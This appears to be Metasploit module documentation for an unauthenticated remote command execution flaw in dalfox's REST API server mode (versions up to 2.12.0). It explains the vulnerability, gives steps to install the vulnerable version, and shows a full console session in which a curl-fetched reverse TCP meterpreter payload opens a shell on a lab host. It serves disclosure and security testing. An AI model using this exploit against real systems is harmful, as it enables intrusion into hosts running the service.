## Vulnerable Application

When dalfox is started in REST API server mode (dalfox server),
the server binds to 0.0.0.0:6664 by default and requires no API key unless the operator explicitly passes --api-key.
Because model.Options — including FoundAction and FoundActionShell — is deserialized directly from attacker-supplied JSON in POST /scan,
and because dalfox.Initialize explicitly propagates those two fields into the final scan options without stripping them,
any unauthenticated caller who can reach the server port can supply an arbitrary shell command that the dalfox process will execute
on the host whenever a scan finding is triggered.

The vulnerability affects:

    * dalfox <= 2.12.0

This module was successfully tested on:

    * dalfox 2.12.0 on Ubuntu 24.04


### Installation
1. `go install github.com/hahwul/dalfox/v2@v2.12.0`

2. `export PATH=$PATH:$(go env GOPATH)/bin`

3. `dalfox server`


## Verification Steps

1. Install the application
2. Start msfconsole
3. Do: `use exploit/linux/http/dalfox_server_rce_cve_2026_45087`
4. Do: `run lhost=<lhost> rhost=<rhost>`
5. You should get a meterpreter


## Options


## Scenarios

```
msf > use exploit/linux/http/dalfox_server_rce_cve_2026_45087
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
msf exploit(linux/http/dalfox_server_rce_cve_2026_45087) > options

Module options (exploit/linux/http/dalfox_server_rce_cve_2026_45087):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks5h, sapni, socks4, socks5, http
   RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT    6664             yes       The target port (TCP)
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVSSL   false            no        Negotiate SSL/TLS for local server connections
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)
   VHOST                     no        HTTP server virtual host


Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   FETCH_COMMAND   CURL             yes       Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
   FETCH_DELETE    true             yes       Attempt to delete the binary after execution
   FETCH_FILELESS  none             yes       Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8, tested shells are sh, bash, zsh) (Ac
                                              cepted: none, python3.8+, shell-search, shell)
   FETCH_SRVHOST                    no        Local IP to use for serving payload
   FETCH_SRVPORT   8080             yes       Local port to use for serving payload
   FETCH_URIPATH                    no        Local URI to use for serving payload
   LHOST           192.168.0.12     yes       The listen address (an interface may be specified)
   LPORT           4444             yes       The listen port


   When FETCH_COMMAND is one of CURL,GET,WGET:

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   FETCH_PIPE  false            yes       Host both the binary payload and the command so it can be piped directly to the shell.


   When FETCH_FILELESS is none:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   FETCH_FILENAME      LGzgRxSNvoC      no        Name to use on remote system when storing payload; cannot contain spaces or slashes
   FETCH_WRITABLE_DIR  ./               yes       Remote writable dir to store payload; cannot contain spaces


Exploit target:

   Id  Name
   --  ----
   0   Linux Command



View the full module info with the info, or info -d command.

msf exploit(linux/http/dalfox_server_rce_cve_2026_45087) > run lhost=192.168.56.1 rhost=192.168.56.16
[*] Started reverse TCP handler on 192.168.56.1:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Dalfox detected.
[*] Using URL: http://192.168.56.1:8081/mcpYksL
[*] Server started.
[*] Sending stage (3090404 bytes) to 192.168.56.16
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.16:40642) at 2026-05-24 09:30:54 +0900
[*] Server stopped.

meterpreter > getuid
Server username: ubu
meterpreter > sysinfo
Computer     : vul
OS           : Ubuntu 24.04 (Linux 6.8.0-56-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > 
```
